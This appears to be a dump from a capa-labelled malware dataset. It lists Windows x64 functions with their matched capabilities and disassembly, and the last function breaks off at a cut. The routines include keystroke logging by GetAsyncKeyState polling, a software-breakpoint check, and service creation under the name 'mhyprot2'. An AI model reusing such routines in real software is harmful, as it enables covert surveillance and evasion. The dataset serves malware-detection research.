joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140100de0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
movzx eax, byte [rcx + 0xf]
lea r14, [0x14021feb0]
mov r10d, eax
mov rdi, rdx
and eax, 0xf
and r10, 0xfffffffffffffff0
add rax, rax
mov esi, reloc.WS2_32.dll_ntohl
mov r9, qword [rdx + rax*8]
mov r8, qword [rdx + rax*8 + 8]
mov r11, r9
mov rax, r8
shr r9, 4
and eax, 0xf
shl r11, 0x3c
shr r8, 4
or r11, r8
mov rbx, qword [r14 + rax*8]
xor rbx, r9
xor rbx, qword [r10 + rdx]
xor r11, qword [r10 + rdx + 8]
nop word [rax + rax]
movzx edx, byte [rsi + rcx]
mov rax, r11
shr r11, 4
mov r9, rbx
shr rbx, 4
and eax, 0xf
shl r9, 0x3c
mov r10d, edx
or r9, r11
and r10, 0xfffffffffffffff0
and edx, 0xf
mov r8, qword [r14 + rax*8]
add rdx, rdx
xor r8, rbx
xor r9, qword [rdi + rdx*8 + 8]
xor r8, qword [rdi + rdx*8]
mov rax, r9
and eax, 0xf
shr r9, 4
mov r11, r8
shr r8, 4
shl r11, 0x3c
or r11, r9
mov rbx, qword [r14 + rax*8]
xor r11, qword [r10 + rdi + 8]
xor rbx, r8
xor rbx, qword [r10 + rdi]
sub rsi, 1
jns 0x140100e50
mov rsi, qword [rsp + 0x10]
mov rdx, rbx
mov rdi, qword [rsp + 0x18]
mov r14, qword [rsp + 0x20]
shr rdx, 0x20
mov eax, edx
mov byte [rcx + 3], dl
shr eax, 0x18
mov byte [rcx], al
mov eax, edx
shr eax, 0x10
mov byte [rcx + 1], al
mov eax, edx
shr eax, 8
mov rdx, r11
mov byte [rcx + 2], al
mov eax, ebx
shr eax, 0x18
mov byte [rcx + 4], al
mov eax, ebx
shr eax, 0x10
mov byte [rcx + 5], al
mov eax, ebx
shr eax, 8
mov byte [rcx + 6], al
shr rdx, 0x20
mov eax, edx
mov byte [rcx + 7], bl
mov rbx, qword [rsp + 8]
shr eax, 0x18
mov byte [rcx + 8], al
mov eax, edx
shr eax, 0x10
mov byte [rcx + 9], al
mov eax, edx
shr eax, 8
mov byte [rcx + 0xa], al
mov eax, r11d
shr eax, 0x18
mov byte [rcx + 0xc], al
mov eax, r11d
shr eax, 0x10
mov byte [rcx + 0xd], al
mov eax, r11d
shr eax, 8
mov byte [rcx + 0xe], al
mov byte [rcx + 0xb], dl
mov byte [rcx + 0xf], r11b
ret
Function at 0x14012c4b0
Capabilities:
Encrypt data using curve25519

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r13
push r14
push r15
mov eax, 0x40
call fcn.1401c9cb0
sub rsp, rax
movsxd rbx, dword [rsp + 0x80]
lea r14d, [rax - 0x20]
xor esi, esi
mov r15, r9
cmp dword [rsp + 0x88], 2
mov edi, edx
mov r13, rcx
je 0x14012c55c
test r8, r8
je 0x14012c530
mov r9, r8
lea rdx, [rsp + 0x30]
xor r8d, r8d
xor ecx, ecx
call fcn.1400ed790
cmp dword [rsp + 0x30], 0xffffffff
je 0x14012c530
xor r9d, r9d
mov dword [rsp + 0x20], esi
mov edx, 0x10a
lea ecx, [r9 + 0x10]
lea r8d, [r9 + 0x66]
call fcn.1400cbe90
xor eax, eax
jmp 0x14012c743
test r15, r15
je 0x14012c510
cmp edi, 0x40a
je 0x14012c555
cmp edi, 0x43f
je 0x14012c555
cmp edi, 0x40b
mov eax, esi
setne al
add eax, 0x38
jmp 0x14012c558
mov eax, r14d
cmp ebx, eax
jne 0x14012c510
mov r8d, 0x46
mov qword [rsp + 0x60], rbp
lea rdx, str.cryptoececx_meth.c
lea ecx, [r8 + 2]
call fcn.1400d4de0
mov rbp, rax
test rax, rax
jne 0x14012c59e
xor r9d, r9d
mov dword [rsp + 0x20], esi
mov edx, 0x10a
lea ecx, [rax + 0x10]
lea r8d, [rax + 0x41]
call fcn.1400cbe90
xor eax, eax
jmp 0x14012c73e
cmp dword [rsp + 0x88], esi
jne 0x14012c5ba
mov r8, rbx
mov rdx, r15
mov rcx, rbp
call fcn.1401cb620
jmp 0x14012c72c
cmp edi, 0x40a
je 0x14012c5dc
cmp edi, 0x43f
je 0x14012c5dc
cmp edi, 0x40b
mov rcx, rsi
setne cl
add rcx, 0x38
jmp 0x14012c5df
mov rcx, r14
mov r8d, 0x50
lea rdx, str.cryptoececx_meth.c
call fcn.140108d10
mov qword [rbp + 0x40], rax
mov rbx, rax
test rax, rax
jne 0x14012c617
xor r9d, r9d
mov dword [rsp + 0x20], esi
mov edx, 0x10a
lea ecx, [rax + 0x10]
lea r8d, [rax + 0x41]
call fcn.1400cbe90
jmp 0x14012c66e
cmp dword [rsp + 0x88], 2
jne 0x14012c6b0
cmp edi, 0x40a
je 0x14012c646
cmp edi, 0x43f
je 0x14012c646
cmp edi, 0x40b
mov r14d, esi
setne r14b
add r14d, 0x38
mov edx, r14d
mov rcx, rbx
call fcn.1400d8500
test eax, eax
jg 0x14012c68a
mov r8d, 0x57
lea rdx, str.cryptoececx_meth.c
mov rcx, rbx
call fcn.140108cf0
mov qword [rbp + 0x40], rsi
mov r8d, 0x79
lea rdx, str.cryptoececx_meth.c
mov rcx, rbp
call fcn.1400d4af0
xor eax, eax
jmp 0x14012c73e
cmp edi, 0x40a
jne 0x14012c69f
and byte [rbx], 0xf8
and byte [rbx + 0x1f], 0x3f
or byte [rbx + 0x1f], 0x40
jmp 0x14012c6e1
cmp edi, 0x40b
jne 0x14012c6e1
and byte [rbx], 0xfc
or byte [rbx + 0x37], 0x80
jmp 0x14012c6e1
cmp edi, 0x40a
je 0x14012c6d0
cmp edi, 0x43f
je 0x14012c6d0
cmp edi, 0x40b
setne sil
add rsi, 0x38
jmp 0x14012c6d3
mov rsi, r14
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call fcn.1401cb620
mov ecx, edi
sub ecx, 0x40a
je 0x14012c721
sub ecx, 1
je 0x14012c714
sub ecx, 0x34
je 0x14012c707
cmp ecx, 1
jne 0x14012c72c
mov rdx, rbx
mov rcx, rbp
call fcn.1401634e0
jmp 0x14012c72c
mov rdx, rbx
mov rcx, rbp
call fcn.140158220
jmp 0x14012c72c
mov rdx, rbx
mov rcx, rbp
call fcn.140160280
jmp 0x14012c72c
mov rdx, rbx
mov rcx, rbp
call fcn.1401587e0
mov r8, rbp
mov edx, edi
mov rcx, r13
call fcn.1400c1c70
mov eax, 1
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret
Function at 0x140134f00
Capabilities:
Check for software breakpoints

Disassembly:
mov eax, gethostname
call fcn.1401c9cb0
sub rsp, rax
mov r11, rcx
cmp dword [rsp + 0x60], r9d
jne 0x140134fdc
movzx r10d, byte [r8]
lea eax, [r10 - 0x6a]
cmp al, 1
ja 0x140134fdc
lea rdx, [r8 + 1]
mov qword [rsp + 0x30], rbx
xor r8d, r8d
cmp r10b, 0x6b
jne 0x140134f92
lea ebx, [r9 - 3]
mov eax, r8d
test ebx, ebx
jle 0x140134f66
nop dword [rax + rax]
movzx ecx, byte [rdx]
inc rdx
cmp cl, 0xba
je 0x140134f66
cmp cl, 0xbb
jne 0x140134f6c
inc eax
cmp eax, ebx
jl 0x140134f50
sub ebx, eax
test eax, eax
jne 0x140134f96
mov edx, 0x80
mov dword [rsp + 0x20], r8d
xor r9d, r9d
lea ecx, [rdx - 0x7c]
lea r8d, [rdx + 0xa]
call fcn.1400cbe90
mov rbx, qword [rsp + 0x30]
or eax, 0xffffffff
add rsp, 0x38
ret
lea ebx, [r9 - 2]
movsxd rax, ebx
cmp byte [rax + rdx], 0xcc
je 0x140134fc5
mov edx, 0x80
mov dword [rsp + 0x20], r8d
xor r9d, r9d
lea ecx, [rdx - 0x7c]
lea r8d, [rdx + 0xb]
call fcn.1400cbe90
mov rbx, qword [rsp + 0x30]
or eax, 0xffffffff
add rsp, 0x38
ret
mov r8d, ebx
mov rcx, r11
call fcn.1401cb620
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x38
ret
mov edx, 0x80
xor r8d, r8d
mov dword [rsp + 0x20], r8d
xor r9d, r9d
lea ecx, [rdx - 0x7c]
lea r8d, [rdx + 9]
call fcn.1400cbe90
or eax, 0xffffffff
add rsp, 0x38
ret
Function at 0x140176dd0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using salsa20 or chacha

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x3f]
mov eax, 0xb0
call fcn.1401c9cb0
sub rsp, rax
mov rax, qword [0x1402e8ed8]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword [rbp + 0x7f]
mov r14, r8
mov dword [rbp - 0x11], 0x61707865
mov rsi, rdx
mov dword [rbp - 0xd], 0x3320646e
mov rdi, rcx
mov dword [rbp - 9], 0x79622d32
mov dword [rbp - 5], 0x6b206574
movups xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [rbp - 1], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf], xmm1
movups xmmword [rbp + 0x1f], xmm0
test r8, r8
je 0x140176f64
mov qword [rsp + 0xd8], rbx
nop dword [rax + rax]
mov ebx, 0x40
lea rdx, [rbp - 0x11]
cmp r14, rbx
lea rcx, [rbp - 0x51]
cmovb rbx, r14
call fcn.140176f90
xor eax, eax
test rbx, rbx
je 0x140176f4a
cmp rbx, 0x20
jb 0x140176f15
lea rdx, [rdi - 1]
add rdx, rbx
lea rcx, [rbp + rbx - 0x52]
cmp rdi, rcx
ja 0x140176e98
lea rcx, [rbp - 0x51]
cmp rdx, rcx
jae 0x140176f15
lea rcx, [rsi - 1]
add rcx, rbx
cmp rdi, rcx
ja 0x140176ea9
cmp rdx, rsi
jae 0x140176f15
lea rcx, [rbp - 0x51]
mov rdx, rsi
sub rdx, rcx
mov r9, rbx
lea rcx, [rbp - 0x51]
and r9, 0xffffffffffffffe0
mov r8, rdi
sub r8, rcx
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rbp + rax - 0x51]
lea rcx, [rdx + rax]
movdqu xmm1, xmmword [rbp + rcx - 0x51]
lea rcx, [r8 + rax]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rbp + rax - 0x41]
movdqu xmmword [rbp + rcx - 0x51], xmm1
lea rcx, [rdx + rax]
movdqu xmm1, xmmword [rbp + rcx - 0x41]
lea rcx, [r8 + rax]
add rax, 0x20
pxor xmm1, xmm0
movdqu xmmword [rbp + rcx - 0x41], xmm1
cmp rax, r9
jb 0x140176ed0
cmp rax, rbx
jae 0x140176f4a
lea rcx, [rbp - 0x51]
mov r8, rsi
sub r8, rcx
mov r9, rdi
lea rcx, [rbp - 0x51]
sub r9, rcx
nop
lea rdx, [rbp - 0x51]
add rdx, rax
inc rax
movzx ecx, byte [r8 + rdx]
xor cl, byte [rdx]
mov byte [r9 + rdx], cl
cmp rax, rbx
jb 0x140176f30
inc dword [rbp + 0x1f]
add rdi, rbx
add rsi, rbx
sub r14, rbx
jne 0x140176e50
mov rbx, qword [rsp + 0xd8]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1401c9740
mov rsi, qword [rsp + 0xe0]
add rsp, 0xb0
pop r14
pop rdi
pop rbp
ret
Function at 0x14017d920
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov eax, 0xf0
call fcn.1401c9cb0
sub rsp, rax
mov r14, r9
mov r15, r9
shr r14, 3
mov rbp, r8
mov rsi, rdx
mov rdi, rcx
cmp r8, r9
jb 0x14017da1f
mov qword [rsp + 0x110], rbx
xor edx, edx
test r14, r14
je 0x14017d9d0
nop word [rax + rax]
movzx eax, byte [rsi + 6]
movzx ecx, byte [rsi + 7]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 5]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 4]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 3]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 2]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi + 1]
shl rcx, 8
or rcx, rax
movzx eax, byte [rsi]
shl rcx, 8
add rsi, 8
or rcx, rax
xor qword [rdi + rdx*8], rcx
inc rdx
cmp rdx, r14
jb 0x14017d970
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
mov r8, rbx
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.14017d550
lea r8, [rbx + 1]
mov rcx, rdi
lea rdx, [rsp + 0x20]
call fcn.14017d550
add rbx, 2
cmp rbx, 0x18
jb 0x14017d9e0
sub rbp, r15
cmp rbp, r15
jae 0x14017d960
mov rbx, qword [rsp + 0x110]
lea r11, [rsp + 0xf0]
mov rax, rbp
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x1401d00dc
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1401cff6f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401cff6f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401cff6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401cff6f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401cff6f
cmp dword [rcx + 0x84], 0xe
jbe 0x1401cff6f
cmp dword [rcx + 0xf8], 0
je 0x1401cff6f
mov ecx, ebx
call fcn.1401d0010
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1401cfe00
cmp dword [rbp + 0x20], 0
je 0x1401cffbc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1401cffc4
int3
xor r8d, r8d
xor edx, edx
jmp 0x1401cff08

Function at 0x1401de3e4
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1401de404
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401d69e4
or eax, 0xffffffff
jmp 0x1401de406
xor eax, eax
add rsp, 0x28
ret

Function at 0x1401de40c
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x1401de42c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401d69e4
or eax, 0xffffffff
jmp 0x1401de42e
xor eax, eax
add rsp, 0x28
ret

Function at 0x1401eac04
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x1401eabe1
call fcn.1401d6a54
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.1401d5820
or eax, 0xffffffff
jmp 0x1401eabfe
sub dword [rcx + 0x10], 1
jns 0x1401eabf0
add rsp, 0x28
jmp fcn.1401eaa54
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x1401eabc0
Function at 0x1401eb4a8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov ebp, 0x7ff
movzx ecx, word [rcx + 6]
mov esi, edx
shr cx, 4
and cx, bp
cmp cx, bp
jne 0x1401eb509
test byte [rbx + 6], 0xf
jne 0x1401eb4fc
xor edi, edi
cmp word [rbx + 4], di
jne 0x1401eb4fc
cmp word [rbx + 2], di
jne 0x1401eb4fc
cmp word [rbx], di
jne 0x1401eb4fc
lea esi, [rdi + 1]
jmp 0x1401eb501
mov esi, 2
movzx eax, si
jmp 0x1401eb706
xor edi, edi
test cx, cx
jne 0x1401eb524
mov rcx, rbx
call fcn.1401f34a8
movzx ecx, ax
cmp di, ax
jl 0x1401eb703
movsx edx, cx
test esi, esi
jle 0x1401eb554
sub ebp, edx
cmp ebp, esi
jg 0x1401eb554
movsd xmm0, qword [0x140255048]
cmp word [rbx + 6], di
jge 0x1401eb546
xorps xmm0, xmmword [0x1402c81d0]
movsd qword [rbx], xmm0
mov eax, 1
jmp 0x1401eb706
movzx r11d, word [rbx + 6]
mov eax, edx
neg eax
cmp eax, esi
jge 0x1401eb581
add si, cx
mov eax, 0x800f
shl si, 4
and r11w, ax
or si, r11w
mov word [rbx + 6], si
or eax, 0xffffffff
jmp 0x1401eb706
movzx r15d, r11w
lea ebp, [rsi - 1]
and r11w, 0xf
mov r13d, 0x8000
mov r12d, reloc.WS2_32.dll_recv
and r15w, r13w
or r11w, r12w
add ebp, edx
cmp ebp, 0xffffffcb
jl 0x1401eb6f8
test ebp, ebp
jns 0x1401eb6f8
lea esi, [r12 - 0xf]
movzx r14d, di
cmp bp, 0xfff0
jg 0x1401eb61c
movzx ecx, word [rbx + 4]
mov eax, 0xfff0
movzx edx, word [rbx + 2]
sub ax, bp
shr ax, 4
movzx r9d, r11w
add ax, si
movzx r8d, ax
movzx eax, r8w
shl ax, 4
add bp, ax
test r14w, r14w
mov eax, edi
setne al
movzx r14d, ax
or r14w, word [rbx]
mov word [rbx], dx
movzx edx, cx
movzx ecx, r9w
mov r9d, edi
sub r8, rsi
jne 0x1401eb5ed
mov word [rbx + 4], cx
movzx r11d, di
mov word [rbx + 2], dx
neg bp
je 0x1401eb69b
movzx r8d, word [rbx]
mov eax, edi
movzx r9d, word [rbx + 2]
movzx edx, r8w
movsx r10d, bp
sub r12d, r10d
mov ecx, r12d
shl dx, cl
test r14w, r14w
movzx r14d, dx
movzx edx, word [rbx + 4]
setne al
or r14w, ax
movzx eax, r9w
shl ax, cl
movzx ecx, bp
shr r8w, cl
mov ecx, r12d
or ax, r8w
mov word [rbx], ax
movzx eax, dx
shl ax, cl
movzx ecx, bp
shr r9w, cl
mov ecx, r12d
or ax, r9w
mov word [rbx + 2], ax
movzx eax, r11w
shl ax, cl
movzx ecx, bp
shr dx, cl
mov ecx, r10d
or ax, dx
mov word [rbx + 4], ax
shr r11w, cl
or r11w, r15w
mov word [rbx + 6], r11w
cmp r13w, r14w
jb 0x1401eb6b1
jne 0x1401eb6d0
test byte [rbx], sil
je 0x1401eb6d0
add word [rbx], si
jne 0x1401eb6d0
add word [rbx + 2], si
jne 0x1401eb6d0
add word [rbx + 4], si
jne 0x1401eb6d0
add r11w, si
mov word [rbx + 6], r11w
jmp 0x1401eb579
cmp r11w, r15w
jne 0x1401eb579
cmp word [rbx + 4], di
jne 0x1401eb579
cmp word [rbx + 2], di
jne 0x1401eb579
cmp word [rbx], di
je 0x1401eb703
jmp 0x1401eb579
mov word [rbx + 6], r15w
mov dword [rbx + 2], edi
mov word [rbx], di
movzx eax, di
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400c6604
Capabilities:
Write file on windows

Disassembly:
jmp 0x140214f50
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14046c7bb]
call fcn.1400c9dfe
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140214fa7
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x1402150b3
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14021504c
cmp qword [rbp + 0x28], 0
jle 0x14021504c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140214fec
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.1400c9a61
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x1402150a2
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x1402150a2
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400c6b95
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14020f400
mov dword [rsp + 8], ecx
push rbp
push rdi
mov eax, 0x106e8
call fcn.1400c6b22
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x4032
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x10708]
mov rax, qword [0x14044aff8]
xor rax, rbp
mov qword [rbp + 0x106b8], rax
lea rcx, reloc.d2d1.dll_Ordinal_1
call fcn.1400c9dfe
mov ecx, 4
call fcn.1400c75c7
add rax, qword [0x140453e50]
mov qword [rbp + 0x106a8], rax
mov rax, qword [0x140453e30]
mov qword [rbp + 0x106b0], rax
mov r9d, 0x10
lea r8, [rbp + 8]
mov rdx, qword [rbp + 0x106a8]
mov rcx, qword [rbp + 0x106b0]
call fcn.1400c83f0
xor eax, eax
cmp eax, 1
je 0x14020f590
mov qword [rbp + 0x38], 0
mov rax, qword [rbp + 8]
mov qword [rbp + 0x10078], rax
mov rax, qword [0x140453e50]
mov rcx, qword [rbp + 0x10078]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x10098], rax
mov rax, qword [0x140453e40]
mov rcx, qword [rbp + 0x10098]
add rcx, rax
mov rax, rcx
mov r9d, 8
lea r8, [rbp + 0x38]
mov rdx, rax
mov rcx, qword [0x140453e30]
call fcn.1400c83f0
mov rax, qword [0x140453e38]
mov rcx, qword [rbp + 0x10098]
add rcx, rax
mov rax, rcx
mov r9d, 0xffff
lea r8, [rbp + 0x60]
mov rdx, rax
mov rcx, qword [0x140453e30]
call fcn.1400c83f0
mov rax, qword [0x140453e50]
mov rcx, qword [rbp + 0x10098]
add rcx, rax
mov rax, rcx
mov r9d, 0x10
lea r8, [rbp + 8]
mov rdx, rax
mov rcx, qword [0x140453e30]
call fcn.1400c83f0
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14020f565
call fcn.1400c9db8
movsxd rax, dword [rbp + 0x106e0]
cmp qword [rbp + 0x38], rax
jne 0x14020f57b
mov rax, qword [rbp + 0x10098]
jmp 0x14020f592
cmp qword [rbp + 0x38], 4
je 0x14020f589
cmp qword [rbp + 0x38], 0
jne 0x14020f58b
jmp 0x14020f590
jmp 0x14020f490
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1402ad1e0]
call fcn.1400c9386
mov rax, rdi
mov rcx, qword [rbp + 0x106b8]
xor rcx, rbp
call fcn.1400c7dba
lea rsp, [rbp + 0x106c8]
pop rdi
pop rbp
ret
Function at 0x1400c6c58
Capabilities:
Create thread

Disassembly:
jmp 0x1400d2db0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x14044aff8]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x14046c108]
call fcn.1400c9dfe
mov edx, 8
lea rcx, [rbp + 8]
call fcn.1400c720c
mov rdx, qword [rbp + 0x138]
lea rcx, [rbp + 8]
call fcn.1400c7e82
nop
lea rax, [0x1400c887d]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x130]
add rax, 8
mov qword [rbp + 0xf8], rax
lea rcx, [rbp + 8]
call fcn.1400c89b8
mov rcx, qword [rbp + 0xf8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x130]
mov qword [rcx], rax
mov rax, qword [rbp + 0x130]
cmp qword [rax], 0
je 0x1400d2e8a
lea rcx, [rbp + 8]
call fcn.1400c7a3b
jmp 0x1400d2ea3
mov rax, qword [rbp + 0x130]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.1400c6db6
nop
lea rcx, [rbp + 8]
call fcn.1400c7937
lea rcx, [rbp - 0x30]
lea rdx, reloc.d2d1.dll_Ordinal_1
call fcn.1400c9386
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.1400c7dba
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x1400c713f
Capabilities:
Create service

Disassembly:
jmp 0x140220440
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x328
lea rbp, [rsp + 0x70]
lea rcx, reloc.d2d1.dll_Ordinal_1
call fcn.1400c9dfe
call fcn.1400c7455
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140220476
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1402204cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x124], eax
lea rax, [rbp + 0x144]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x144]
call fcn.140220130
mov rcx, rax
call fcn.1400c95f7
lea rdx, [rbp + 0x124]
mov rcx, rax
call fcn.1400c8990
mov rax, 0xffffffffffffffff
jmp 0x140220627
mov rcx, qword [rbp + 0x2d0]
call fcn.1400c63d4
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov r9d, 0x10030
lea r8, str.mhyprot2
lea rdx, str.mhyprot2
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140220555
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x140220619
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0x431
jne 0x1402205b6
lea rax, [rbp + 0x1b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x1b4]
call fcn.140220360
mov rcx, rax
call fcn.1400c796e
mov rcx, rax
call fcn.1400c89c2
mov r8d, 0x10030
lea rdx, str.mhyprot2
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
jmp 0x140220627
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x224], eax
lea rax, [rbp + 0x244]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
